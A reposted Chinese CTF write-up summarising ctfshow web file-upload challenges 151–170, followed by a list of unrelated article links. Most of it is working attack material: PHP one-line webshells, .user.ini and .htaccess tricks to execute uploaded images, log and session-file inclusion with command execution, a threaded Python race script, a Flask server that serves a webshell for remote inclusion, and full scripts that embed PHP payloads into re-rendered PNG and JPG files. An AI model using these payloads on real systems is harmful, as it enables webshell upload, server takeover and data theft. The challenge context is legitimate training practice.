ctfshow web入门文件上传总结

1.web151

前端验证
前端验证，修改html代码，上传还有一句话木马的php文件,之后用蚁剑连接即可找到flag

<?php eval($_POST[1])?>

2.web152

后端验证，修改mime类型(content-type)
burp抓包，修改content-type为image/png

3.web153

.user.ini类
后端验证mime类型，只能是图片格式，不能有php后缀
.user.ini配置文件
burp抓包，上传.user.ini，此配置文件时nginx服务的配置文件，写入auto_prepend_file=2.jpg，在上传2.jpg，之后把http://d6a3715e-bc9a-4bc2-8e1e-e540b0bbaeaf.challenge.ctf.show/upload/index.php添加到蚁剑中即可读取flag，访问此链接时会自动包含2.jpg

.user.ini利用需要在此目录下还有php文件，user.ini 上传的文件  原有的php文件需要在同一目录下
.user.ini
auto_prepend_file   表示在文件头包含
auto_append_file  表示在文件尾包含

4.web154

.user.ini类+检测文件内容
后端检查文件内容 类型 不能有php，需要mime类型为图片格式，不能有php后缀
上传.user.ini 写入auto_prepend_file=2.png ，在上传2.php 写一句话木马 <? eval($_POST[1])?>,在把链接加到蚁剑即可读取flag

5.web155

.user.ini类+检测文件内容
文件内容中不能有php,图片必须是png格式，不能有php后缀

php短标签

<? echo '123';?>
<?=(表达式)?>  等价于 <?php echo (表达式)?>
<% echo '123';%>
<script language=”php”>echo '123'; </script>

6.web156

.user.ini类+检测文件内容
文件内容中不能有php,[],图片必须是png格式 ，不能有php后缀
利用的还是.user.ini,写入auto_prepend_file=2.png，在上传2.png ，写入<?php system("cat /var/www/html/flag.???")?>，访问链接就可得到flag (http://…/upload/index.php)

7.web157

.user.ini类+检测文件内容
文件内容中不能有php,[],;, 图片必须是png格式 ，不能有php后缀
利用的还是.user.ini,写入auto_prepend_file=1.png，在上传1.png ，写入<?php system("cat /var/www/html/flag.???")?>，访问链接就可得到flag (http://…/upload/index.php)

8.web158

.user.ini类+检测文件内容
文件内容中不能有php,[],;,{}，图片必须是png格式
利用的还是.user.ini,写入auto_prepend_file=1.png，在上传1.png ，写入<?php system("cat /var/www/html/flag.???")?>，访问链接就可得到flag (http://…/upload/index.php)

9.web159

.user.ini类+检测文件内容
文件内容中不能有php,[],;,{},()，图片必须是png格式
利用的还是.user.ini,写入auto_prepend_file=1.png，在上传1.png ，写入<?=`tac …/f*`>，这里的短链接没=是执行不了的，访问链接就可得到flag (http://…/upload/index.php)

10.web160

日志包含配和文件上传(.user.ini)
文件内容中不能有php,[],;,{},(),空格，log，``，图片必须是png格式
利用的还是.user.ini,写入auto_prepend_file=1.png，在上传1.png ，写入<?=include"/var/lo"."g/nginx/access.lo"."g"?>，访问链接就可得到 (http://…/upload/index.php),在ua头中写入一句话<?php eval($_POST[1])?>,再次访问链接 (http://…/upload/index.php)进行命令执行1=system(“tac …/f*”)?>，得到flag

11.web161

日志包含配和文件上传(.user.ini) 检测文件头 绕过getimagesize
这题注意上传直接上传图片是不行的
文件内容中不能有php,[],;,{},(),空格，log，``，图片必须是png格式
利用的还是.user.ini,写入auto_prepend_file=1.png，在上传1.png ，写入 GIF89a <?=include"/var/lo"."g/nginx/access.lo"."g"?>，访问链接就可得到 (http://…/upload/index.php),在ua头中写入一句话<?php eval($_POST[1])?>,再次访问链接 (http://…/upload/index.php)进行命令执行1=system(“tac …/f*”)?>，得到flag

12.web162

session包含配和文件上传(.user.ini) 检测文件头 绕过getimagesize
过滤了点，日志包含没法用了，采用session文件包含
和上题相比过滤了点，日志包含就用不了了，这里采用的是session包含
先上传png,写入GIF89a<?=include"/tmp/sess_1"?>,在上传.user.ini，写入GIF89a
auto_prepend_file=png

import requests
import threading
session=requests.session()
sess='1'    #和png后面要包含文件的对应 
url1="http://f275f432-9203-4050-99ad-a185d3b6f466.chall.ctf.show/"
url2="http://f275f432-9203-4050-99ad-a185d3b6f466.chall.ctf.show/upload"
data1={'PHP_SESSION_UPLOAD_PROGRESS':'<?php system("tac ../f*");?>'
}
file={'file':'1'  #无所谓
}
cookies={'PHPSESSID': sess
}def write():while True:r = session.post(url1,data=data1,files=file,cookies=cookies)
def read():while True:r = session.get(url2)if 'flag' in r.text:print(r.text)threads = [threading.Thread(target=write),threading.Thread(target=read)]
for t in threads:t.start()
]

13.web163

session包含配和文件上传(.user.ini) 检测文件头 绕过getimagesize
远程文件包含和文件上传(.user.ini) 检测文件头 绕过getimagesize
第二种方法也适用与上一题
1.和上题一样
session包含配和文件上传(.user.ini) 检测文件头 绕过getimagesize
过滤了点，日志包含没法用了，采用session文件包含
和上题相比过滤了点，日志包含就用不了了，这里采用的是session包含
先上传png,写入GIF89a<?=include"/tmp/sess_1"?>,在上传.user.ini，写入GIF89a
auto_prepend_file=png
2.
可以使用远程文件包含，上传.user.ini,需要把ip转换为数字，注意远程web服务器需要为路由型，这里使用python的flask框架，之后在进行命令执行即可
或者传.user.ini和png分别写入以下内容，这题不行，在上传的一瞬间png文件被删除了
.user.ini
GIF89a
auto_prepend_file=png

png
GIF89a

<?=include"http://10200352//"?> 
from flask import Flask
app = Flask(__name__)
@app.route('/')
def hello_world():return '<?php @eval($_POST[1]);?>'
if __name__ == '__main__':app.run(port=80,host='0.0.0.0')

14.web164

考察png二次渲染

png渲染脚本

<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,0x66, 0x44, 0x50, 0x33);
$img = imagecreatetruecolor(32, 32);
for ($y = 0; $y < sizeof($p); $y += 3) {$r = $p[$y];$g = $p[$y+1];$b = $p[$y+2];$color = imagecolorallocate($img, $r, $g, $b);imagesetpixel($img, round($y / 3), 0, $color);
}
imagepng($img,'1.png');  //要修改的图片的路径
/* 木马内容
<?$_GET[0]($_POST[1]);?>*/?>

15.web165

考察jpg二次渲染
照片选择这张成功率会高很多
请添加图片描述

先把这张照片上传到服务器上，在把服务器上已经渲染好的照片下载下来，使用下载下来的照片使用下方的jpg渲染脚本插入php代码

jpg渲染脚本（特别注意需要在linux环境下运行此脚本，windows运行无法渲染成功)
`

<?php
$miniPayload = '<?=eval($_POST[1]);?>';
if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {die('php-gd is not installed');
}
if(!isset($argv[1])) {die('php jpg_payload.php <jpg_name.jpg>');
}
set_error_handler("custom_error_handler");
for($pad = 0; $pad < 1024; $pad++) {$nullbytePayloadSize = $pad;$dis = new DataInputStream($argv[1]);$outStream = file_get_contents($argv[1]);$extraBytes = 0;$correctImage = TRUE;if($dis->readShort() != 0xFFD8) {die('Incorrect SOI marker');}while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {$marker = $dis->readByte();$size = $dis->readShort() - 2;$dis->skip($size);if($marker === 0xDA) {$startPos = $dis->seek();$outStreamTmp =substr($outStream, 0, $startPos) .$miniPayload .str_repeat("\0",$nullbytePayloadSize) .substr($outStream, $startPos);checkImage('_'.$argv[1], $outStreamTmp, TRUE);if($extraBytes !== 0) {while((!$dis->eof())) {if($dis->readByte() === 0xFF) {if($dis->readByte !== 0x00) {break;}}}$stopPos = $dis->seek() - 2;$imageStreamSize = $stopPos - $startPos;$outStream =substr($outStream, 0, $startPos) .$miniPayload .substr(str_repeat("\0",$nullbytePayloadSize).substr($outStream, $startPos, $imageStreamSize),0,$nullbytePayloadSize+$imageStreamSize-$extraBytes) .substr($outStream, $stopPos);} elseif($correctImage) {$outStream = $outStreamTmp;} else {break;}if(checkImage('payload_'.$argv[1], $outStream)) {die('Success!');} else {break;}}}
}
unlink('payload_'.$argv[1]);
die('Something\'s wrong');
function checkImage($filename, $data, $unlink = FALSE) {global $correctImage;file_put_contents($filename, $data);$correctImage = TRUE;imagecreatefromjpeg($filename);if($unlink)unlink($filename);return $correctImage;
}
function custom_error_handler($errno, $errstr, $errfile, $errline) {global $extraBytes, $correctImage;$correctImage = FALSE;if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {if(isset($m[1])) {$extraBytes = (int)$m[1];}}
}
class DataInputStream {private $binData;private $order;private $size;public function __construct($filename, $order = false, $fromString = false) {$this->binData = '';$this->order = $order;if(!$fromString) {if(!file_exists($filename) || !is_file($filename))die('File not exists ['.$filename.']');$this->binData = file_get_contents($filename);} else {$this->binData = $filename;}$this->size = strlen($this->binData);}public function seek() {return ($this->size - strlen($this->binData));}public function skip($skip){$this->binData = substr($this->binData, $skip);}public function readByte() {if($this->eof()) {die('End Of File');}$byte = substr($this->binData, 0, 1);$this->binData = substr($this->binData, 1);return ord($byte);}public function readShort() {if(strlen($this->binData) < 2) {die('End Of File');}$short = substr($this->binData, 0, 2);$this->binData = substr($this->binData, 2);if($this->order) {$short = (ord($short[1]) << 8) + ord($short[0]);} else {$short = (ord($short[0]) << 8) + ord($short[1]);}return $short;}public function eof() {return !$this->binData||(strlen($this->binData) === 0);}
}
?>

16.web166

考察zip文件上传

17.web167

考察apache配置文件.htaccess

<FilesMatch "\.jpg">SetHandler application/x-httpd-php
</FilesMatch>

上传一张图片马即可

18.web168

基础免杀，过滤post,get,eval等

<?php $_REQUEST[1]($_REQUEST[2])?>

19.web169

考察nginx服务器的配置文件.user.ini日志文件包含
服务器是nignx，上传.user.ini来进行日志包含
进行包含时要注意在上传文件的目录中需要有index.php文件，因为没有index.php文件，所以先上传一个index.php文件，里面随便写就可以
.user.ini

auto_append_file=/var/log/nginx/access.log```

访问上传的文件位置，在user-agent写入一句话木马
post传入1=system(“tac …/flagaa.php”); 执行即可

20.web170

考察nginx服务器的配置文件.user.ini日志文件包含
服务器是nignx，上传.user.ini来进行日志包含
进行包含时要注意在上传文件的目录中需要有index.php文件，因为没有index.php文件，所以先上传一个index.php文件，里面随便写就可以
.user.ini

auto_append_file=/var/log/nginx/access.log```

访问上传的文件位置，在user-agent写入一句话木马
post传入1=system(“tac …/flagaa.php”); 执行即可

本文来自互联网用户投稿，该文观点仅代表作者本人，不代表本站立场。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如若转载，请注明出处：http://www.mzph.cn/news/884390.shtml

如若内容造成侵权/违法违规/事实不符，请联系多彩编程网进行投诉反馈email:809451989@qq.com，一经查实，立即删除！

相关文章

Java面试题十四

Java面试题十四

一、Java中的JNI&#xff08;Java Native Interface&#xff09;是什么&#xff1f;它有什么用途&#xff1f; Java中的JNI&#xff08;Java Native Interface&#xff09;是Java提供的一种编程框架&#xff0c;它允许Java代码与本地&#xff08;Native&#xff09;代码&#x…
阅读更多...
基于Spring Boot+Vue的助农销售平台(协同过滤算法、限流算法、支付宝沙盒支付、实时聊天、图形化分析)

基于Spring Boot+Vue的助农销售平台(协同过滤算法、限流算法、支付宝沙盒支付、实时聊天、图形化分析)

&#x1f388;系统亮点&#xff1a;协同过滤算法、节流算法、支付宝沙盒支付、图形化分析、实时聊天&#xff1b; 一.系统开发工具与环境搭建 1.系统设计开发工具 后端使用Java编程语言的Spring boot框架 项目架构&#xff1a;B/S架构 运行环境&#xff1a;win10/win11、jdk1…
阅读更多...
GitHub每日最火火火项目（11.2）

GitHub每日最火火火项目（11.2）

Cinnamon / kotaemon&#xff1a;“Cinnamon / kotaemon”是一个开源的基于检索增强生成&#xff08;RAG&#xff09;技术的工具&#xff0c;主要用于与你的文档进行聊天。在当今信息爆炸的时代&#xff0c;如何有效地管理和利用文档中的知识变得至关重要。这个项目使用 Python…
阅读更多...
手把手写Linux第一个小程序 - 进度条（5种版本）

手把手写Linux第一个小程序 - 进度条（5种版本）

本专栏内容为&#xff1a;Linux学习专栏&#xff0c;分为系统和网络两部分。 通过本专栏的深入学习&#xff0c;你可以了解并掌握Linux。 &#x1f493;博主csdn个人主页&#xff1a;小小unicorn ⏩专栏分类&#xff1a;linux &#x1f69a;代码仓库&#xff1a;小小unicorn的代…
阅读更多...
dhcp池没有空闲ip导致手机无法获得ip

dhcp池没有空闲ip导致手机无法获得ip

得到用户反馈&#xff0c;一个高速项目部的wifi无法接入&#xff0c;让排查原因。 反馈有的手机能接入&#xff0c;有的接入不了。查看ac界面发现有个终端获得的ip是169.254.xxx.xxx。 ip地址是169.254.96.17显然是手机打开wlan开关后&#xff0c;鉴权通过后dhcp过程&#xff0…
阅读更多...
雷池社区版compose文件配置讲解--fvm

雷池社区版compose文件配置讲解--fvm

在现代网络安全中&#xff0c;选择合适的 Web 应用防火墙至关重要。雷池&#xff08;SafeLine&#xff09;社区版免费切好用。为网站提供全面的保护&#xff0c;帮助网站抵御各种网络攻击。 docker-compose.yml 文件是 Docker Compose 的核心文件&#xff0c;用于定义和管理多…
阅读更多...
《高频电子线路》—— 振荡器稳定性问题

《高频电子线路》—— 振荡器稳定性问题

文章内容来源于【中国大学MOOC 华中科技大学通信&#xff08;高频&#xff09;电子线路精品公开课】&#xff0c;此篇文章仅作为笔记分享。 振荡器稳定性问题 频率准确度 & 频率稳定度 希望频率稳定度越小越好。 频率稳定度分类 影响振荡频率稳定度的参数 振荡频率是和电…
阅读更多...
HTMLCSS: 打造跳一跳加载器，点燃用户等待热情

HTMLCSS: 打造跳一跳加载器，点燃用户等待热情

效果演示 这段 HTML 代码创建了一个简单的网页&#xff0c;其中包含一个动画效果&#xff0c;用来模拟一个加载器loading HTML <div class"loader"></div>div创建了一个动画效果的加载器 CSS html, body {width: 100vw;height: 100vh;display: flex…
阅读更多...
Nginx 的 Http 模块介绍（上）

Nginx 的 Http 模块介绍（上）

Nginx 的 Http 模块介绍&#xff08;上&#xff09; 1. http 请求 11 个处理阶段介绍 Nginx 将一个 Http 请求分成多个阶段&#xff0c;以模块为单位进行处理。其将 Http请求的处理过程分成了 11 个阶段&#xff0c;各个阶段可以包含任意多个 Http 的模块并以流水线的方式处理…
阅读更多...
网络：ARP的具体过程和ARP欺骗

网络：ARP的具体过程和ARP欺骗

个人主页 &#xff1a; 个人主页 个人专栏 &#xff1a; 《数据结构》 《C语言》《C》《Linux》《网络》 《redis学习笔记》 文章目录 前言ARP具体过程ARP欺骗原理总结 前言 本文仅作为ARP具体过程和ARP欺骗的知识总结 硬件类型 &#xff1a;指定发送和接受ARP包的硬件类型&am…
阅读更多...
青少年编程与数学 02-003 Go语言网络编程 05课题、DNS

青少年编程与数学 02-003 Go语言网络编程 05课题、DNS

青少年编程与数学 02-003 Go语言网络编程 05课题、DNS 课题摘要:一、DNS二、DNS的主要特点三、DNS的工作原理四、DNS的应用场景包括五、DNS服务器DNS服务器的主要功能&#xff1a;DNS服务器的类型&#xff1a;DNS服务器的工作原理&#xff1a; 六、DNS服务商七、互联网接入1. 注…
阅读更多...
Python数据分析入门知识基础和案例（万字长文）

Python数据分析入门知识基础和案例（万字长文）

目录 数据分析的重要性 Python数据分析工具链 NumPy数组操作 Pandas数据结构与操作 DataFrame操作 Series操作 数据转换 数据清洗 数据分析案例 数据读取与预处理 数据分析 结果展示 Matplotlib基础绘图 线图 柱状图 散点图 PyEcharts交互式图表 可视化案例展…
阅读更多...
[0260].第25节：锁的不同角度分类

[0260].第25节：锁的不同角度分类

MySQL学习大纲 我的数据库学习大纲 从不同维度对锁的分类&#xff1a; 1.对数据操作的类型划分:读锁和写锁 1.1.读锁 与 写锁概述&#xff1a; 1.对于数据库中并发事务的读-读情况并不会引起什么问题。对于写-写、读-写或写-读这些情况可能会引起一些问题&#xff0c;需要使用…
阅读更多...
加强版 第五节图像处理与视频分析

加强版 第五节图像处理与视频分析

基本概念 图像轮廓 主要针对二值图像&#xff0c;轮廓是一系列点 vector<vector<Point>xxx用于存储多个点 vector<Vec4i>xxx包含四个整数&#xff0c;分别代表下一个轮廓的索引&#xff0c;上一个轮廓的索引&#xff0c;一个子轮廓的索引和父轮廓的索引 相…
阅读更多...
网络基础知识概览

网络基础知识概览

1、简单描述“统一资源标识符URI”和“统一资源定位器URL”的定义&#xff1a; - **统一资源标识符&#xff08;URI&#xff09;**&#xff1a;URI是Uniform Resource Identifier的缩写&#xff0c;它是一种用于标识资源的字符串。资源可以是网页、文档、图片等互联网上的任何…
阅读更多...
数据结构之链式结构二叉树的实现（初级版）

数据结构之链式结构二叉树的实现（初级版）

本文内容将主会多次用到函数递归知识&#xff01;&#xff01;&#xff01; 本节内容需要借助画图才能更好理解&#xff01;&#xff01;&#xff01; 和往常一样&#xff0c;还是创建三个文件 这是tree.h #pragma once #include<stdio.h> #include<stdlib.h> …
阅读更多...
Data+AI━━人群圈选，你被圈中了吗？

Data+AI━━人群圈选，你被圈中了吗？

DataAI━━人群圈选&#xff0c;你被圈中了吗&#xff1f; 前言我们是否正在失去选择的自主权&#xff1f;AI人群圈选流程AI人群圈选技术发展趋势 前言 智能时代的清晨&#xff0c;打开手机&#xff0c;各类APP精准推送的信息扑面而来。菜市场买过一次三文鱼&#xff0c;生鲜A…
阅读更多...
IT基础监控的全面解决方案

IT基础监控的全面解决方案

在信息化高速发展的今天&#xff0c;企业的IT基础设施如同生命线&#xff0c;承载着业务运营的核心数据和流程。为了确保这些基础设施的稳定运行和高效性能&#xff0c;全面的IT基础监控变得至关重要。监控易&#xff0c;作为一款领先的IT监控管理平台&#xff0c;以其广泛的监…
阅读更多...
手撕快排的三种方法：让面试官对你刮目相看

手撕快排的三种方法：让面试官对你刮目相看

快来参与讨论&#x1f4ac;&#xff0c;点赞&#x1f44d;、收藏⭐、分享&#x1f4e4;&#xff0c;共创活力社区。 目录 &#x1f4af;前言 &#x1f4af;快速排序基础概念 &#x1f4af;Hoare 版本 1.算法思路 2.代码示例 3.有关该代码的问题 3.1&#x1f62e;为什么…
阅读更多...
51单片机教程（五）- LED灯闪烁

51单片机教程（五）- LED灯闪烁

1 项目分析 让输入/输出口的P1.0或P1.0~P1.7连接的LED灯闪烁。 2 技术准备 1、C语言知识点 1 运算符 1 算术运算符 #include <stdio.h>int main(){// 算术运算符int a 13;int b 6;printf("%d\n", ab); printf("%d\n", a-b); printf("%…
阅读更多...
最新文章

Copyright @ 2022~2023